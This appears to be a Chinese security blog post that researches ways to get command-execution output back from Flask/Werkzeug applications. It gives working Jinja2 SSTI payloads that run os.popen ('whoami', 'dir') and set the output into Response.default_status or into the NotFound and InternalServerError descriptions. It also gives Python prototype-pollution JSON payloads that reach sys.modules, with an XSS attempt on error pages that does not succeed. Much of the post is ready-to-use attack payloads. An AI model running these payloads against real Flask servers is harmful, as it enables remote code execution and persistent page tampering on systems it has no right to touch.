flask请求头回显的学习和探究如何进行错误页面污染回显

请求头

首先我们要了解一些flask的请求和响应是利用了什么。

flask的请求和响应主要利用了werkzeug,那么我们就要先了解一下什么是werkzeug,其结构又是什么。

werkzeug是一个基于python开发的一个web工具包,其是flask的核心组件之一。其功能有http工具,路由系统。调试等。

其是一个模块化的库。其核心模块如下

因为我们要研究新的回显方式所以我们可以把目光放到werkzeug.wrappers和werkzeug.exceptions这两个模块下。

当然上面是我个人的想法,我看的那两篇关于新型回显的文章都对WSGIRequestHandler进行研究.导致两位作者都没能找到如何在500响应body中回显命令执行,篡改WSGIRequestHandler从而对响应头进行修改的具体原理那两位作者已经写的很详细了和这里就不再赘述了。

我这里讲一下我个人再复现过程中发现的其他篡改方法

因为我的入手点是再werkzeug.wrappers和werkzeug.exceptions下于是我先查看了werkzeug.wrappers的response.py,再其初始化Response类的地方打上了断点,而后发现再响应类下有许多可以篡改的请求头

而这些类都是在werkzeug的wrappers内的request.py定义的Request类的属性

即我们可以通过以下payload找到我们要污染的类的属性

复制代码
{{url_for.__globals__.__builtins__['dir'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response)}}

我们在里面可以找到default_status类,这个类是控制请求状态码的、

我们可以通过setattr来修改这个属性的值,将这个属性的值赋值为我们命令执行的结果

payload

复制代码
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response,'default_status',url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}

但当我尝试命令dir时却出现了问题如下。

原因我在上面说过了是因为请求头在发送给客户端前会进行latin-1编码这导致了报错

这时我们可以尝试使用base64编码

复制代码
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response,'default_status',url_for.__globals__.__builtins__.__import__('base64').b64encode(url_for.__globals__.__builtins__['__import__']('os').popen('dir').read().encode()).decode())}}

剩下的请求头我就不再赘述了

错误页面的污染方法

上面说到了请求头无法返回非ascii码字符,即我们需要使用编码来输出命令执行的结果。

而服务器的响应body是可以正常回显非ascii字符的。

这时候其实我是想找能否对正常的200回显的body进行篡改,于是我尝试污染了data的值,但是我发现并没有使回显的值发送改变,而后简单调试了一下发现:在发给客户端响应时会使用set_data来更改其值,其值会被更改为参数response的值。

由于本人技术有限,无法找到污染这个response的方法,如果有大佬能找到还请指点

于是本人就尝试寻找污染错误页面的方法。

因为werkzeug的错误页面时固定的于是本人猜测其值肯定是预设在某个类下了。于是我将目光放在了werkzeug.exceptions上

我们看这个模块的代码,可以发现其定义所有的错误状态码类,我这里就拿500状态码来说一下吧

我们可以发现其code为状态码的值,description定义了响应的错误内容,那么这种写死的肯定没有二次赋值,那么我们就可以将其污染为我们命令执行的结果

复制代码
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.InternalServerError,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}

可以发现其仍然可以回显中文即非ascii字符

同理我们还可以污染404等

复制代码
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}

关于原型链污染的思考

XSS

最简单粗暴的想法。既然我们可以污染错误页面的回显内容那么我们不就能对其进行xss了吗。个人认为一个人进入网站不小心触发404 505 500这种错误状态简直不要太常见,而这种xss如果不重启服务是会一直存在的,算是一种存储型xss。还是具有一定危害性的

payload如下

复制代码
{
"__init__": {
        "__globals__": {
            "sys": {
                "modules": {
                    "werkzeug": {
                        "exceptions": {
                            "NotFound": {
                                "description": "aaaa"
                            }
                        }
                    }
                }
            }
        }
    }
}

但是要实现上面的payload需要导入sys

但正常的flask app.py文件并不会导入sys,但是其web页面一定会导入一些其他的模块

参考这篇文章Python原型链污染变体(prototype-pollution-in-python)我们可以知道我们可以通过
<模块名>.__spec__.__init__.__globals__['sys']而这个模块名可以是任意的模块。

我这里就随便导入应该math模块来做演示

即我们在原型链污染时可以通过如下payload来获取sys

复制代码
{
  "__init__": {
    "__globals__": {
      "math": {
        "__spec__": {
          "__init__": {
            "__globals__": {
              "sys": {
                "modules": {
                  "werkzeug": {
                    "exceptions": {
                      "NotFound": {
                        "description": "1263"
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

结果

悲404页面的字符是经过jinja2模板渲染的其会自动url实体化编码

那么这想造成xss就不是一般的难了

本人还是tcl了.希望有大佬看到能告知一下该如何继续污染来造成xss

相关推荐
NOVAnet20239 小时前
云网 + 存储一体化灾备方案解析:南凌科技 × 爱数全景云灾备技术与行业落地价值
科技·web安全·企业数字化·企业sd-wan·混合云网络
Hiyajo pray13 小时前
SDN 访问控制性能调优方法
服务器·网络·网络安全
数据知道17 小时前
网络安全职业规划:从入门到高级安全工程师的路径图
安全·web安全·网络安全·渗透测试·职业规划
Gyr017 小时前
关于证书站捡洞这一档事
安全·web安全
Sagittarius_A*18 小时前
Web 渗透实战:服务器系统识别、端口与中间件全量探测
服务器·网络安全·中间件·渗透测试
网安蟹佬霸18 小时前
我国网络安全人才缺口现状、成因与对策研究
安全·web安全
学逆向的19 小时前
汇编——函数
开发语言·汇编·网络安全
会飞锦鲤19 小时前
基于YOLOv10的瓜果成熟度智能检测系统
人工智能·python·深度学习·yolo·flask
云水一下20 小时前
零基础玩转bWAPP靶场(一):从起源到环境搭建,开启Web安全实战之旅
web安全·靶场·bwapp
HackTwoHub20 小时前
AntiDebug Mcp、AI逆向绕过前端,Hook 加密接口,抓取 Vue 路由漏洞,接入 MCP 让 AI 自动化挖掘前端漏洞
前端·vue.js·人工智能·安全·web安全·网络安全·系统安全